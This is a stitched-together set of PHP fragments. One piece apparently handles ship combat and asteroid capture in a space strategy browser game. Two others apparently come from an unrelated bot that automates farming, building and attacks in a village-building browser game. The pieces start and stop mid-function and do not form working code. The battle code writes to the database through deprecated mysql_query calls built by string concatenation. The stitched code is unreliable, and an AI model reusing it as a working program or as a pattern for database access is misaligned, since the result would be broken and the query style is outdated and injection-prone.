attack('d_rcannons', $warfrigs2 * $stats['war']['rca']); attack('d_infinitys', $destroyers2 * $stats['des']['inf']); attack('d_wraiths', $destroyers2 * $stats['des']['wra']); attack('d_warfrigs', $destroyers2 * $stats['des']['war']); attack('d_astropods', $destroyers2 * $stats['des']['ast']); attack('d_destroyers', $destroyers2 * $stats['des']['des']); attack('d_scorpions', $destroyers2 * $stats['des']['sco']); attack('d_cobras', $destroyers2 * $stats['des']['cob']); attack('d_avengers', $destroyers2 * $stats['des']['ave']); attack('d_infinitys', $scorpions2 * $stats['sco']['inf']); attack('d_wraiths', $scorpions2 * $stats['sco']['wra']); attack('d_warfrigs', $scorpions2 * $stats['sco']['war']); attack('d_astropods', $scorpions2 * $stats['sco']['ast']); attack('d_destroyers', $scorpions2 * $stats['sco']['des']); attack('d_scorpions', $scorpions2 * $stats['sco']['sco']); attack('d_cobras', $scorpions2 * $stats['sco']['cob']); $salvagec = floor($salvagec); $salvagem = floor($salvagem); //Roid capturing $t_block = 0; $i = 0; while ($attack[$i]["id"] > 0) { if ($d_cobras >= $attack[$i]["astropods"]) { $block = $attack[$i]["astropods"]; } else { $block = $d_cobras; } $t_block += $block; $roidsc = Roids_capped($attack[$i]["astropods"] - $block, $d_crystalroid, $d_metalroid, $d_ui_roids); $roidscapped = $roidsc["crystal"] + $roidsc["metal"] + $roidsc["ui"]; $result3 = mysql_query("UPDATE " . $PA["table"] . " SET asteroid_metal=asteroid_metal+" . $roidsc["metal"] . ",asteroid_crystal=asteroid_crystal+" . $roidsc["crystal"] . ",ui_roids=ui_roids+" . $roidsc["ui"] . " WHERE id=" . $attack[$i]["id"], $db);
function attack_and_farm_loop($village, $incoming_attack_remain_seconds) { $result = get_a2b_page(); // not being attacked, we need cumulate clubs for attack if ($incoming_attack_remain_seconds > 1800 || $incoming_attack_remain_seconds < 0) { $need_more_clubs = attack($result, $village); if ($need_more_clubs) { return; } } for ($i = 0; $i < 20; $i++) { if (!farm($result, $village)) { return; } // refresh a2b page $result = get_a2b_page(); } }
// villages in heavy defending if ($village == 999999) { transfer_to_village($village, $auto_transfer, true); // resource village } else { transfer_to_village($village, $auto_transfer); } } else { if ($village > 0) { $result = switch_village($village); } build($village, $result); if ($village == $main_village) { build_infantry(2, 25); $result = get_a2b_page(); if (!attack($result, $village)) { for ($i = 0; $i < 20; $i++) { if (!farm($result, $village)) { break; } // refresh a2b page $result = get_a2b_page(); } } /* }else{ // villages in building transfer_to_village($village, $main_village, false, 70); */ } } }